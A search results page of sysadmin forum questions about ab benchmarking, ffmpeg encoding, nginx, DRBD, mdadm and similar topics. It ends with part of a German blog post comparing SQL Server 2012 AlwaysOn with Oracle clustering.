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Search found 636 results on 26 pages for 'ab'.

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  • limiting connections from tomcat to IIS - proxy? iptables?

    - by Chris Phillips
    Howdy, I've webapp on tomcat6 which is connecting to an M$ PlayReady DRM instance on IIS6.0 The performance is seen to be best when we bench mark (using ab) the DRM service with 25 concurrent connections, which gives about 250 requests per second, which is ace. higher concurrent connections results in TCP/IP timeouts and other lower level mess. But there is no way to control how the tomcat app connects to the service - it's not internally managing a pool of connections etc, they are all isolated http connections to the server. Ideally I'd like a situation where we can have 25 http 1.1 connections being kept alive permanently from tomcat and requesting the licenses through this static pool of connections, which I think would the best performance. But this is not in the code, so was looking for a way to possibly simulate this at the Linux level. I was possibly thinking that iptables connlimit might be able to gracefully handle these connections, but whilst it could limit, it'd probably still annoy the app. What about a proxy? nginx (or possibly squid) seems potentially appealing to run on the tomcat server and hit on localhost as we might want to add additional DRM servers to use under load balance anyway. Could this take 100 incoming connections from tomcat, accept them all and proxy over the the IIS server in a more respectful manner? Any other angles? EDIT - looking over mod_proxy for apache, which we are already using for conventional use on an apache instance in front of this tomcat instance, might be ideal. I can set a max value on the proxy_pass to only allow 25 connections, and keep them alive permanently. Is that my answer? Many thanks, Chris

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  • How can I avoid a few seconds of blank video when using -vcodec copy?

    - by arlomedia
    I'm processing user-uploaded videos on a CentOS web server with ffmpeg. I need to convert each video to a standard size and format, then extract a 30-second sample clip from each video. I want to use the "-vcodec copy" flag in the extraction command to avoid encoding a second time. This command works for my initial conversion: ffmpeg -i uploaded.mov -f mp4 -vcodec libx264 -vpre medium -acodec libfaac -r 15 -b 360k -ab 48k -ar 22050 -s 480x320 formatted.mp4 And this sometimes works for the extraction: ffmpeg -i formatted.mp4 -vcodec copy -acodec copy -ss 0 -t 30 formatted_sample.mp4 However, when I run the extraction command on some videos, the extracted sample clip starts with several seconds of blank video. The audio starts right away but the video doesn't start for 3-6 seconds. To demonstrate the problem, I've uploaded two video clips and run the above commands on them. I created the first clip in Final Cut Express and encoded it with Handbrake before uploading to the web server: 1a) uploaded clip 1b) converted with first command 1c) extracted with second command, missing first six seconds By comparison, this second clip comes from Apple's website and does not show the problem: 2a) uploaded clip 2b) converted with first command 2c) extracted with second command, no problem Can anyone see what's different about the two source clips? And if so, is there anything I can do in my conversion command so that when the extraction command runs, the clip is set up to avoid the missing video? By the way, I initially had the problem with ffmpeg 0.6.1 installed from yum, but I upgraded to the latest git version and the problem remains.

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  • Live Screencast under Linux

    - by OmnipotentEntity
    I was having some difficulty with running a Live Screencast under Linux. I've found jtvlc and tried using that, but whenever I use it the stream comes out either blank or lagged with extremely high latency. I have a fast internet connection and a fast computer, but am I perhaps taxing it too much? Any ideas on what I could possibly be doing wrong? # 1. Get an account on http://www.justin.tv/ # 2. Copy streaming key from: http://www.justin.tv/broadcast/adv_other # 2. Install VLC: http://www.videolan.org/vlc/ # 3. Get Win/Mac/Lin Stream Client: \ # http://apiwiki.justin.tv/mediawiki/index.php/Linux_Broadcasting_API # 4. Adjust the vlc parameters to your liking and run VLC like this #!/bin/bash cvlc screen:// --input-slave=pulse:// \ --screen-width 1920 \ --screen-height 1080 \ --screen-fps 5 \ -v input_stream \ --sout='#duplicate{ dst="transcode{ scale=1, venc=x264{ keyint=60 }, vcodec=h264, vb=600, acodec=mp4a, ab=32, channels=2, samplerate=22050 } :rtp{dst=127.0.0.1,port=1234,sdp=file:///tmp/vlc.sdp} "}' \ --sout-transcode-threads=4 & sleep 2 # 5. Run JTVLC to stream like this: ./jtvlc/jtvlc omnipotententity censored /tmp/vlc.sdp # Notes: #- If you want to see what you're about to stream add 'dst=display, ' # before 'dst="transcode[' # More about the VLC parameters: http://wiki.videolan.org/Documentation:Modules/screen

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  • Apache https is slsow

    - by raucous12
    Hey, I've set apache up to use SSL with a self signed certificate. With http (KeepAlive off), I can get over 5000 requests per second. However, with https, I can only get 13 requests per second. I know there is supposed to be a bit of an overhead, but this seems abnormal. Can anyone suggest how I might go about debugging this. Here is the ab log for https: Server Software: Apache/2.2.3 Server Hostname: 127.0.0.1 Server Port: 443 SSL/TLS Protocol: TLSv1/SSLv3,DHE-RSA-AES256-SHA,4096,256 Document Path: /hello.html Document Length: 29 bytes Concurrency Level: 5 Time taken for tests: 30.49425 seconds Complete requests: 411 Failed requests: 0 Write errors: 0 Total transferred: 119601 bytes HTML transferred: 11919 bytes Requests per second: 13.68 [#/sec] (mean) Time per request: 365.565 [ms] (mean) Time per request: 73.113 [ms] (mean, across all concurrent requests) Transfer rate: 3.86 [Kbytes/sec] received Connection Times (ms) min mean[+/-sd] median max Connect: 190 347 74.3 333 716 Processing: 0 14 24.0 1 166 Waiting: 0 11 21.6 0 165 Total: 191 361 80.8 345 716 Percentage of the requests served within a certain time (ms) 50% 345 66% 377 75% 408 80% 421 90% 468 95% 521 98% 578 99% 596 100% 716 (longest request)

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  • Converting flv and mp4 video format to '.ogg' using FFmpeg

    - by user163906
    I have HostGator VPS server with FFmpeg installed. It allows me to convert .wmv to .flv as well as .mp4 files successfully using the following commands for flv and mp4: ffmpeg -i WantsABath.wmv -b 600k -r 24 -ar 22050 -ab 96k WantsABath.flv ffmpeg -i WantsABath.wmv WantsABath.mp4 but it won't allow me to convert any file format to .ogg. I tried using the command: ffmpeg -i input.mp4 -acodec libvorbis -vcodec libtheora -f ogv output.ogv by mondain but no luck with it. I am doubting that my VPS doesn't have libtheora installed. I tried configuring it by using SSH but I don't know how to make sure if it is installed or not. I tried checking with php_info but can't find anything regarding libtheora. Here's my FFmpeg version: FFmpeg version SVN-r19795, Copyright (c) 2000-2009 Fabrice Bellard, et al. configuration: --enable-libmp3lame --enable-libvorbis --disable-mmx --enable-shared --prefix=/usr/ --enable-gpl libavutil 50. 3. 0 / 50. 3. 0 libavcodec 52.35. 0 / 52.35. 0 libavformat 52.38. 0 / 52.38. 0 libavdevice 52. 2. 0 / 52. 2. 0 libswscale 0. 7. 1 / 0. 7. 1 This details doean't show libtheor Can anyone please suggest me something?

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  • DRBD stacked resources: recovering from failure

    - by Marcus Downing
    We're running a stacked four-node DRBD setup like this: A --> B | | v v C D This means three DRBD resources running across these four servers. Servers A and B are Xen hosts running VMs, while servers C and D are for backups. A is in the same datacentre as C. From server A to server C, in the first datacentre, using protocol B From server B to server D, in the second datacentre, using protocol B From server A to server B, different datacentres, stacked resource using protocol A First question: booting a stacked resource We haven't got any vital data running on this setup yet - we're still making sure it works first. This means simulating power cuts, network outages etc and seeing what steps we need to recover. When we pull the power out of server A, both resources go down; it attempts to bring them back up at next boot. However, it only succeeds at bringing up the lower-level resource, A-C. The stacked resource A-B doesn't even try to connect, presumably because it can't find the device until it's a connected primary on the lower level. So if anything goes wrong we need to manually log in and bring that resource up, then start the virtual machine on top of it. Second question: setting the primary of a stacked resource Our lower-level resources are configured so that the right one is considered primary: resource test-AC { on A { ... } on C { ... } startup { become-primary-on A; } } But I don't see any way to do the same with a stacked resource, as the following isn't a valid config: resource test-AB { stacked-on-top-of test-AC { ... } stacked-on-top-of test-BD { ... } startup { become-primary-on test-AC; } } This too means that recovering from a failure requires manual intervention. Is there no way to set the automatic primary for a stacked resource?

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  • How can I use wildcards in an Nginx map directive?

    - by Ian Clelland
    I am trying to use Nginx to served cached files produced by a web application, and have spotted a potential problem; that the url-space is wide, and will exceed the Ext3 limit of 32000 subdirectories. I would like to break up the subdirectories, making, say, a two-level filesystem cache. So, where I am currently caching a file at /var/cache/www/arbitrary_directory_name/index.html I would store that instead at something like /var/cache/www/a/r/arbitrary_directory_name/index.html My trouble is that I can't get try_files, or even rewrite to make that mapping. My searching on the subject leads me to believe that I need to do something like this (heavily abbreviated): http { map $request_uri $prefix { /aa* a/a; /ab* a/b; /ac* a/c; ... /zz* z/z; } location / { try_files /var/cache/www/$prefix/$request_uri/index.html @fallback; # or # if (-f /var/cache/www/$prefix/$request_uri/index.html) { # rewrite ^(.*)$ /var/cache/www/$prefix/$1/index.html; # } } } But I can't get the /aa* pattern to match the incoming uri. Without the *, it will match an exact uri, but I can't get it to match just the first two characters. The Nginx documentation suggests that wildcards should be allowed, but I can't see a way to get them to work. Is there a way to do this? Am I missing something simple? Or am I going about this the wrong way?

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  • Removing a device in "removed" state from Linux software RAID array

    - by Sahasranaman MS
    My workstation has two disks(/dev/sd[ab]), both with similar partitioning. /dev/sdb failed, and cat /proc/mdstat stopped showing the second sdb partition. I ran mdadm --fail and mdadm --remove for all partitions from the failed disk on the arrays that use them, although all such commands failed with mdadm: set device faulty failed for /dev/sdb2: No such device mdadm: hot remove failed for /dev/sdb2: No such device or address Then I hot swapped the failed disk, partitioned the new disk and added the partitions to the respective arrays. All arrays got rebuilt properly except one, because in /dev/md2, the failed disk doesn't seem to have been removed from the array properly. Because of this, the new partition keeps getting added as a spare to the partition, and its status remains degraded. Here's what mdadm --detail /dev/md2 shows: [root@ldmohanr ~]# mdadm --detail /dev/md2 /dev/md2: Version : 1.1 Creation Time : Tue Dec 27 22:55:14 2011 Raid Level : raid1 Array Size : 52427708 (50.00 GiB 53.69 GB) Used Dev Size : 52427708 (50.00 GiB 53.69 GB) Raid Devices : 2 Total Devices : 2 Persistence : Superblock is persistent Intent Bitmap : Internal Update Time : Fri Nov 23 14:59:56 2012 State : active, degraded Active Devices : 1 Working Devices : 2 Failed Devices : 0 Spare Devices : 1 Name : ldmohanr.net:2 (local to host ldmohanr.net) UUID : 4483f95d:e485207a:b43c9af2:c37c6df1 Events : 5912611 Number Major Minor RaidDevice State 0 8 2 0 active sync /dev/sda2 1 0 0 1 removed 2 8 18 - spare /dev/sdb2 To remove a disk, mdadm needs a device filename, which was /dev/sdb2 originally, but that no longer refers to device number 1. I need help with removing device number 1 with 'removed' status and making /dev/sdb2 active.

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  • Diagnosing Random Network Lag

    - by uesp
    I'm having trouble diagnosing some random lag on a 6 server LAMP cluster serving a MediaWiki site. While we're serving some 100 pages/sec the servers themselves are running fine with less than 0.5 load, no locked processes, no paging, no errors being logged, etc.... Lag is present on all servers and is random: one minute its fine the next it's there. DNS lookups on the servers are randomly slow. For example time nslookup google.com varies randomly from a few milliseconds to several seconds and sometimes times out entirely. While we use IP addresses internally on the cluster this may be a symptom of the root issue. We are not running our own DNS server. The Apache server-status pages randomly lag or time out. Benchmarking using ab between servers shows a few loads sometimes take 3000 ms (almost exactly). Benchmarking server-status on the local server itself usually shows no issue (it showed a lag only once among a few hundred tests). The servers are sitting behind a switch and a firewall which I don't have any access to so I don't know their setup or status. While we are under heavier than normal load a 2 Mbps incoming and 20 Mbps outgoing traffic shouldn't be stressing the switch or firewall should it? My feeling is that it is the switch/firewall or something above them in the ISP like their DNS but can't confirm it. I need some other tests or methods of diagnosing this lag to try and narrow down the ultimate cause.

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  • Onboard Ethernet suddenly stopped working to router

    - by AfterschoolHobbist
    Hey guys, yesterday I have a sudden problem of my Ethernet connection to my router. My computer is a Pendium 4 with Window XP SP3 running on it and it was working fine earlier in the day, but yesterday night was the start of the problem. My computer is unable to ping to the router and to any other website and unable to get internet connection. As beside it was connected to a hub, I directly connected it to the router directly and the same problem occurred, being unable to ping to the router (and connecting to it) and still no internet access. My directly connected to the modem and the problem still persisted. For each connection, I connected it to my computer and my laptop and my laptop was able to connect, while my desktop computer was unable. I wondered if it was a OS issue and ran a live Ubuntu CD to see if Ubuntu was able to connect to the internet, but the issue persisted and I was unable to get internet access. I then set my router's lease time to 1 hour and waited. After 1 hour, the lease for my computer was removed and I hoped this worked, but it didn't work, but something strange is acting up. My desktop computer is still unable to ping to the router or connect to the internet, but for some reason, my router and desktop computer is still able to contact each other by providing a lease of an local ip address. The router record of a lease to my desktop computer, and when I do ipconfig, my desktop also recognize that it has been provided a local ip address. I have concluded that this is a hardware issue and the only solution to fix this is to by a network card adapter, but I am wondering if anyone has any solutions that could explain why this happen, why my mac address is 01-23-45-67-89-ab, and is there any way to fix it without buying a new network card? Thanks in advance.

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  • Apache https is slow

    - by raucous12
    Hey, I've set apache up to use SSL with a self signed certificate. With https (KeepAlive on), I can get over 3000 requests per second. However, with https (KeepAlive off), I can only get 13 requests per second. I know there is supposed to be a bit of an overhead, but this seems abnormal. Can anyone suggest how I might go about debugging this. Here is the ab log for https: Server Software: Apache/2.2.3 Server Hostname: 127.0.0.1 Server Port: 443 SSL/TLS Protocol: TLSv1/SSLv3,DHE-RSA-AES256-SHA,4096,256 Document Path: /hello.html Document Length: 29 bytes Concurrency Level: 5 Time taken for tests: 30.49425 seconds Complete requests: 411 Failed requests: 0 Write errors: 0 Total transferred: 119601 bytes HTML transferred: 11919 bytes Requests per second: 13.68 [#/sec] (mean) Time per request: 365.565 [ms] (mean) Time per request: 73.113 [ms] (mean, across all concurrent requests) Transfer rate: 3.86 [Kbytes/sec] received Connection Times (ms) min mean[+/-sd] median max Connect: 190 347 74.3 333 716 Processing: 0 14 24.0 1 166 Waiting: 0 11 21.6 0 165 Total: 191 361 80.8 345 716 Percentage of the requests served within a certain time (ms) 50% 345 66% 377 75% 408 80% 421 90% 468 95% 521 98% 578 99% 596 100% 716 (longest request)

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  • Command line switching

    - by Larry
    I have read through some suggestions but I am just not technical enough to get this I think. I am a CAD designer and each file has 5 files associated with it. I have 3 sets of 5 files, and each set needs to go into its own zip file, placed on a separate server. For example: "C:\Program Files\7-zip\7z.exe" a file1.zip "O:\server2\map files\BC\BC.d*"-0 "C:\Program Files\7-zip\7z.exe" a file2.zip "O:\server2\map files\BC\ON.d*"-0 "C:\Program Files\7-zip\7z.exe" a file3.zip "O:\server2\map files\BC\AB.d*"-0 and I am in directory "S:\server\map files\provinces" (for example). These lines run within an existing batch file and by the time it reaches the 3 lines above, it's in the S: directory sample above. So it's looking on my pc for the 7-zip program, creating 3 zip file names which it does, but places those zip files on a separate server which it doesn't and the first zip file also includes all the other 10 files, the second zip file the same plus the first zip file, and the third the same with the other two zip files making me think the code isn't recognizing the part after file1.zip where I am trying to tell it what files to include and where to place the zip files. Ultimately, I want to either have the system create a new zip file if the old one was deleted, or copy the new files into the existing zip and overwrite any older files, and for these zip files to be placed in a separate location which is where we share our files with other personnel from within our company. The S: drive is for all originals, and O: is for sharing. Is there a list of all switching options with many different samples?

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  • reaching constant video bitrate by using ffmpeg

    - by sebastian
    We use ffmpeg and a transcoding script for transcoding and want to make some batch files which we can use for transcoding. For example I use a parameter called video_kbit and if I am writing in 30000 it should reach 30 Mbit. Of course if I use 6000 as parameter it should reach 6 MBit as well, so I have one script which reaches every video bitrate I want. As my settings are now, I only reach 18.1 Mbit. Only when I use 15000 as a parameter I am reaching my goal for a constant video bitrate of 15 MBit. If I use 8000 as parameter I get 10.1 MBit as a result. So under 15000, I get a higher bitrate and over 15000, I get a lower bitrate than I want. My presettings are: ffmpeg -threads "4" -i "$2" -f mp4 -c:v libx264 -crf 1 \ -bufsize 30000k -maxrate ${FC_PARAM_video_kbit}k \ -acodec libfaac -ac 2 -ab ${FC_PARAM_audio_kbit}k -ar 44100 \ -pix_fmt yuv420p -vf scale=${FC_PARAM_width}:${FC_PARAM_height} -y "$3" And I am using these parameters: FC_PARAM_video_kbit = 30000 FC_PARAM_audio_kbit = 192 FC_PARAM_width = 1920 FC_PARAM_height = 1080 I have tried using a higher bufsize and using profile:v and level settings, but nothing got me near the constant video bitrate of 30000 Mbit. Do you guys have any ideas or suggestions for a better way to reach my goal?

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  • Selecting whole column except first X (header) cells in Excel

    - by Robert Koritnik
    I know I can select all cells in a particular column by clicking on column header descriptor (ie. A or AB). But is it possible to then exclude a few cells out of it, like my data table headings? Example I would like to select data cells of a particular column to set Data Validation (that would eventually display a drop down of list values defined in a named range). But I don't want my data header cells to be included in this selection (so they won't have these drop downs displayed nor will they be validated). What if I later decide to change validation settings of these cells? How can I selection my column then? A sidenote I know I can set data validation on the whole column and then select only those cells that I want to exclude and clear their data validation. What I would like to know is is ti possible to do the correct selection in the first step to avoid this second one. I tried clicking on the column descriptor to select the whole column and then CTRL-click those cells I don't want to include in my selection, but it didn't work as expected.

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  • amazon ec2-medium apache requests per second terrible

    - by TheDayIsDone
    EDITED -- test running from localhost now to rule out network... i have a c1.medium using EBS. when i do an apache benchmark and i'm just printing a "hello" for the test from localhost - no database hits, it's very slow. i can repeat this test many times with the same results. any thoughts? thanks in advance. ab -n 1000 -c 100 http://localhost/home/test/ Benchmarking localhost (be patient) Completed 100 requests Completed 200 requests Completed 300 requests Completed 400 requests Completed 500 requests Completed 600 requests Completed 700 requests Completed 800 requests Completed 900 requests Completed 1000 requests Finished 1000 requests Server Software: Apache/2.2.23 Server Hostname: localhost Server Port: 80 Document Path: /home/test/ Document Length: 5 bytes Concurrency Level: 100 Time taken for tests: 25.300 seconds Complete requests: 1000 Failed requests: 0 Write errors: 0 Total transferred: 816000 bytes HTML transferred: 5000 bytes Requests per second: 39.53 [#/sec] (mean) Time per request: 2530.037 [ms] (mean) Time per request: 25.300 [ms] (mean, across all concurrent requests) Transfer rate: 31.50 [Kbytes/sec] received Connection Times (ms) min mean[+/-sd] median max Connect: 0 7 21.0 0 73 Processing: 81 2489 665.7 2500 4057 Waiting: 80 2443 654.0 2445 4057 Total: 85 2496 653.5 2500 4057 Percentage of the requests served within a certain time (ms) 50% 2500 66% 2651 75% 2842 80% 2932 90% 3301 95% 3506 98% 3762 99% 3838 100% 4057 (longest request)

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  • SQL Server 2012 - AlwaysOn

    - by Claus Jandausch
    Ich war nicht nur irritiert, ich war sogar regelrecht schockiert - und für einen kurzen Moment sprachlos (was nur selten der Fall ist). Gerade eben hatte mich jemand gefragt "Wann Oracle denn etwas Vergleichbares wie AlwaysOn bieten würde - und ob überhaupt?" War ich hier im falschen Film gelandet? Ich konnte nicht anders, als meinen Unmut kundzutun und zu erklären, dass die Fragestellung normalerweise anders herum läuft. Zugegeben - es mag vielleicht strittige Punkte geben im Vergleich zwischen Oracle und SQL Server - bei denen nicht unbedingt immer Oracle die Nase vorn haben muss - aber das Thema Clustering für Hochverfügbarkeit (HA), Disaster Recovery (DR) und Skalierbarkeit gehört mit Sicherheit nicht dazu. Dieses Erlebnis hakte ich am Nachgang als Einzelfall ab, der so nie wieder vorkommen würde. Bis ich kurz darauf eines Besseren belehrt wurde und genau die selbe Frage erneut zu hören bekam. Diesmal sogar im Exadata-Umfeld und einem Oracle Stretch Cluster. Einmal ist keinmal, doch zweimal ist einmal zu viel... Getreu diesem alten Motto war mir klar, dass man das so nicht länger stehen lassen konnte. Ich habe keine Ahnung, wie die Microsoft Marketing Abteilung es geschafft hat, unter dem AlwaysOn Brading eine innovative Technologie vermuten zu lassen - aber sie hat ihren Job scheinbar gut gemacht. Doch abgesehen von einem guten Marketing, stellt sich natürlich die Frage, was wirklich dahinter steckt und wie sich das Ganze mit Oracle vergleichen lässt - und ob überhaupt? Damit wären wir wieder bei der ursprünglichen Frage angelangt.  So viel zum Hintergrund dieses Blogbeitrags - von meiner Antwort handelt der restliche Blog. "Windows was the God ..." Um den wahren Unterschied zwischen Oracle und Microsoft verstehen zu können, muss man zunächst das bedeutendste Microsoft Dogma kennen. Es lässt sich schlicht und einfach auf den Punkt bringen: "Alles muss auf Windows basieren." Die Überschrift dieses Absatzes ist kein von mir erfundener Ausspruch, sondern ein Zitat. Konkret stammt es aus einem längeren Artikel von Kurt Eichenwald in der Vanity Fair aus dem August 2012. Er lautet Microsoft's Lost Decade und sei jedem ans Herz gelegt, der die "Microsoft-Maschinerie" unter Steve Ballmer und einige ihrer Kuriositäten besser verstehen möchte. "YOU TALKING TO ME?" Microsoft C.E.O. Steve Ballmer bei seiner Keynote auf der 2012 International Consumer Electronics Show in Las Vegas am 9. Januar   Manche Dinge in diesem Artikel mögen überspitzt dargestellt erscheinen - sind sie aber nicht. Vieles davon kannte ich bereits aus eigener Erfahrung und kann es nur bestätigen. Anderes hat sich mir erst so richtig erschlossen. Insbesondere die folgenden Passagen führten zum Aha-Erlebnis: “Windows was the god—everything had to work with Windows,” said Stone... “Every little thing you want to write has to build off of Windows (or other existing roducts),” one software engineer said. “It can be very confusing, …” Ich habe immer schon darauf hingewiesen, dass in einem SQL Server Failover Cluster die Microsoft Datenbank eigentlich nichts Nenneswertes zum Geschehen beiträgt, sondern sich voll und ganz auf das Windows Betriebssystem verlässt. Deshalb muss man auch die Windows Server Enterprise Edition installieren, soll ein Failover Cluster für den SQL Server eingerichtet werden. Denn hier werden die Cluster Services geliefert - nicht mit dem SQL Server. Er ist nur lediglich ein weiteres Server Produkt, für das Windows in Ausfallszenarien genutzt werden kann - so wie Microsoft Exchange beispielsweise, oder Microsoft SharePoint, oder irgendein anderes Server Produkt das auf Windows gehostet wird. Auch Oracle kann damit genutzt werden. Das Stichwort lautet hier: Oracle Failsafe. Nur - warum sollte man das tun, wenn gleichzeitig eine überlegene Technologie wie die Oracle Real Application Clusters (RAC) zur Verfügung steht, die dann auch keine Windows Enterprise Edition voraussetzen, da Oracle die eigene Clusterware liefert. Welche darüber hinaus für kürzere Failover-Zeiten sorgt, da diese Cluster-Technologie Datenbank-integriert ist und sich nicht auf "Dritte" verlässt. Wenn man sich also schon keine technischen Vorteile mit einem SQL Server Failover Cluster erkauft, sondern zusätzlich noch versteckte Lizenzkosten durch die Lizenzierung der Windows Server Enterprise Edition einhandelt, warum hat Microsoft dann in den vergangenen Jahren seit SQL Server 2000 nicht ebenfalls an einer neuen und innovativen Lösung gearbeitet, die mit Oracle RAC mithalten kann? Entwickler hat Microsoft genügend? Am Geld kann es auch nicht liegen? Lesen Sie einfach noch einmal die beiden obenstehenden Zitate und sie werden den Grund verstehen. Anders lässt es sich ja auch gar nicht mehr erklären, dass AlwaysOn aus zwei unterschiedlichen Technologien besteht, die beide jedoch wiederum auf dem Windows Server Failover Clustering (WSFC) basieren. Denn daraus ergeben sich klare Nachteile - aber dazu später mehr. Um AlwaysOn zu verstehen, sollte man sich zunächst kurz in Erinnerung rufen, was Microsoft bisher an HA/DR (High Availability/Desaster Recovery) Lösungen für SQL Server zur Verfügung gestellt hat. Replikation Basiert auf logischer Replikation und Pubisher/Subscriber Architektur Transactional Replication Merge Replication Snapshot Replication Microsoft's Replikation ist vergleichbar mit Oracle GoldenGate. Oracle GoldenGate stellt jedoch die umfassendere Technologie dar und bietet High Performance. Log Shipping Microsoft's Log Shipping stellt eine einfache Technologie dar, die vergleichbar ist mit Oracle Managed Recovery in Oracle Version 7. Das Log Shipping besitzt folgende Merkmale: Transaction Log Backups werden von Primary nach Secondary/ies geschickt Einarbeitung (z.B. Restore) auf jedem Secondary individuell Optionale dritte Server Instanz (Monitor Server) für Überwachung und Alarm Log Restore Unterbrechung möglich für Read-Only Modus (Secondary) Keine Unterstützung von Automatic Failover Database Mirroring Microsoft's Database Mirroring wurde verfügbar mit SQL Server 2005, sah aus wie Oracle Data Guard in Oracle 9i, war funktional jedoch nicht so umfassend. Für ein HA/DR Paar besteht eine 1:1 Beziehung, um die produktive Datenbank (Principle DB) abzusichern. Auf der Standby Datenbank (Mirrored DB) werden alle Insert-, Update- und Delete-Operationen nachgezogen. Modi Synchron (High-Safety Modus) Asynchron (High-Performance Modus) Automatic Failover Unterstützt im High-Safety Modus (synchron) Witness Server vorausgesetzt     Zur Frage der Kontinuität Es stellt sich die Frage, wie es um diesen Technologien nun im Zusammenhang mit SQL Server 2012 bestellt ist. Unter Fanfaren seinerzeit eingeführt, war Database Mirroring das erklärte Mittel der Wahl. Ich bin kein Produkt Manager bei Microsoft und kann hierzu nur meine Meinung äußern, aber zieht man den SQL AlwaysOn Team Blog heran, so sieht es nicht gut aus für das Database Mirroring - zumindest nicht langfristig. "Does AlwaysOn Availability Group replace Database Mirroring going forward?” “The short answer is we recommend that you migrate from the mirroring configuration or even mirroring and log shipping configuration to using Availability Group. Database Mirroring will still be available in the Denali release but will be phased out over subsequent releases. Log Shipping will continue to be available in future releases.” Damit wären wir endlich beim eigentlichen Thema angelangt. Was ist eine sogenannte Availability Group und was genau hat es mit der vielversprechend klingenden Bezeichnung AlwaysOn auf sich?   SQL Server 2012 - AlwaysOn Zwei HA-Features verstekcne sich hinter dem “AlwaysOn”-Branding. Einmal das AlwaysOn Failover Clustering aka SQL Server Failover Cluster Instances (FCI) - zum Anderen die AlwaysOn Availability Groups. Failover Cluster Instances (FCI) Entspricht ungefähr dem Stretch Cluster Konzept von Oracle Setzt auf Windows Server Failover Clustering (WSFC) auf Bietet HA auf Instanz-Ebene AlwaysOn Availability Groups (Verfügbarkeitsgruppen) Ähnlich der Idee von Consistency Groups, wie in Storage-Level Replikations-Software von z.B. EMC SRDF Abhängigkeiten zu Windows Server Failover Clustering (WSFC) Bietet HA auf Datenbank-Ebene   Hinweis: Verwechseln Sie nicht eine SQL Server Datenbank mit einer Oracle Datenbank. Und auch nicht eine Oracle Instanz mit einer SQL Server Instanz. Die gleichen Begriffe haben hier eine andere Bedeutung - nicht selten ein Grund, weshalb Oracle- und Microsoft DBAs schnell aneinander vorbei reden. Denken Sie bei einer SQL Server Datenbank eher an ein Oracle Schema, das kommt der Sache näher. So etwas wie die SQL Server Northwind Datenbank ist vergleichbar mit dem Oracle Scott Schema. Wenn Sie die genauen Unterschiede kennen möchten, finden Sie eine detaillierte Beschreibung in meinem Buch "Oracle10g Release 2 für Windows und .NET", erhältich bei Lehmanns, Amazon, etc.   Windows Server Failover Clustering (WSFC) Wie man sieht, basieren beide AlwaysOn Technologien wiederum auf dem Windows Server Failover Clustering (WSFC), um einerseits Hochverfügbarkeit auf Ebene der Instanz zu gewährleisten und andererseits auf der Datenbank-Ebene. Deshalb nun eine kurze Beschreibung der WSFC. Die WSFC sind ein mit dem Windows Betriebssystem geliefertes Infrastruktur-Feature, um HA für Server Anwendungen, wie Microsoft Exchange, SharePoint, SQL Server, etc. zu bieten. So wie jeder andere Cluster, besteht ein WSFC Cluster aus einer Gruppe unabhängiger Server, die zusammenarbeiten, um die Verfügbarkeit einer Applikation oder eines Service zu erhöhen. Falls ein Cluster-Knoten oder -Service ausfällt, kann der auf diesem Knoten bisher gehostete Service automatisch oder manuell auf einen anderen im Cluster verfügbaren Knoten transferriert werden - was allgemein als Failover bekannt ist. Unter SQL Server 2012 verwenden sowohl die AlwaysOn Avalability Groups, als auch die AlwaysOn Failover Cluster Instances die WSFC als Plattformtechnologie, um Komponenten als WSFC Cluster-Ressourcen zu registrieren. Verwandte Ressourcen werden in eine Ressource Group zusammengefasst, die in Abhängigkeit zu anderen WSFC Cluster-Ressourcen gebracht werden kann. Der WSFC Cluster Service kann jetzt die Notwendigkeit zum Neustart der SQL Server Instanz erfassen oder einen automatischen Failover zu einem anderen Server-Knoten im WSFC Cluster auslösen.   Failover Cluster Instances (FCI) Eine SQL Server Failover Cluster Instanz (FCI) ist eine einzelne SQL Server Instanz, die in einem Failover Cluster betrieben wird, der aus mehreren Windows Server Failover Clustering (WSFC) Knoten besteht und so HA (High Availability) auf Ebene der Instanz bietet. Unter Verwendung von Multi-Subnet FCI kann auch Remote DR (Disaster Recovery) unterstützt werden. Eine weitere Option für Remote DR besteht darin, eine unter FCI gehostete Datenbank in einer Availability Group zu betreiben. Hierzu später mehr. FCI und WSFC Basis FCI, das für lokale Hochverfügbarkeit der Instanzen genutzt wird, ähnelt der veralteten Architektur eines kalten Cluster (Aktiv-Passiv). Unter SQL Server 2008 wurde diese Technologie SQL Server 2008 Failover Clustering genannt. Sie nutzte den Windows Server Failover Cluster. In SQL Server 2012 hat Microsoft diese Basistechnologie unter der Bezeichnung AlwaysOn zusammengefasst. Es handelt sich aber nach wie vor um die klassische Aktiv-Passiv-Konfiguration. Der Ablauf im Failover-Fall ist wie folgt: Solange kein Hardware-oder System-Fehler auftritt, werden alle Dirty Pages im Buffer Cache auf Platte geschrieben Alle entsprechenden SQL Server Services (Dienste) in der Ressource Gruppe werden auf dem aktiven Knoten gestoppt Die Ownership der Ressource Gruppe wird auf einen anderen Knoten der FCI transferriert Der neue Owner (Besitzer) der Ressource Gruppe startet seine SQL Server Services (Dienste) Die Connection-Anforderungen einer Client-Applikation werden automatisch auf den neuen aktiven Knoten mit dem selben Virtuellen Network Namen (VNN) umgeleitet Abhängig vom Zeitpunkt des letzten Checkpoints, kann die Anzahl der Dirty Pages im Buffer Cache, die noch auf Platte geschrieben werden müssen, zu unvorhersehbar langen Failover-Zeiten führen. Um diese Anzahl zu drosseln, besitzt der SQL Server 2012 eine neue Fähigkeit, die Indirect Checkpoints genannt wird. Indirect Checkpoints ähnelt dem Fast-Start MTTR Target Feature der Oracle Datenbank, das bereits mit Oracle9i verfügbar war.   SQL Server Multi-Subnet Clustering Ein SQL Server Multi-Subnet Failover Cluster entspricht vom Konzept her einem Oracle RAC Stretch Cluster. Doch dies ist nur auf den ersten Blick der Fall. Im Gegensatz zu RAC ist in einem lokalen SQL Server Failover Cluster jeweils nur ein Knoten aktiv für eine Datenbank. Für die Datenreplikation zwischen geografisch entfernten Sites verlässt sich Microsoft auf 3rd Party Lösungen für das Storage Mirroring.     Die Verbesserung dieses Szenario mit einer SQL Server 2012 Implementierung besteht schlicht darin, dass eine VLAN-Konfiguration (Virtual Local Area Network) nun nicht mehr benötigt wird, so wie dies bisher der Fall war. Das folgende Diagramm stellt dar, wie der Ablauf mit SQL Server 2012 gehandhabt wird. In Site A und Site B wird HA jeweils durch einen lokalen Aktiv-Passiv-Cluster sichergestellt.     Besondere Aufmerksamkeit muss hier der Konfiguration und dem Tuning geschenkt werden, da ansonsten völlig inakzeptable Failover-Zeiten resultieren. Dies liegt darin begründet, weil die Downtime auf Client-Seite nun nicht mehr nur von der reinen Failover-Zeit abhängt, sondern zusätzlich von der Dauer der DNS Replikation zwischen den DNS Servern. (Rufen Sie sich in Erinnerung, dass wir gerade von Multi-Subnet Clustering sprechen). Außerdem ist zu berücksichtigen, wie schnell die Clients die aktualisierten DNS Informationen abfragen. Spezielle 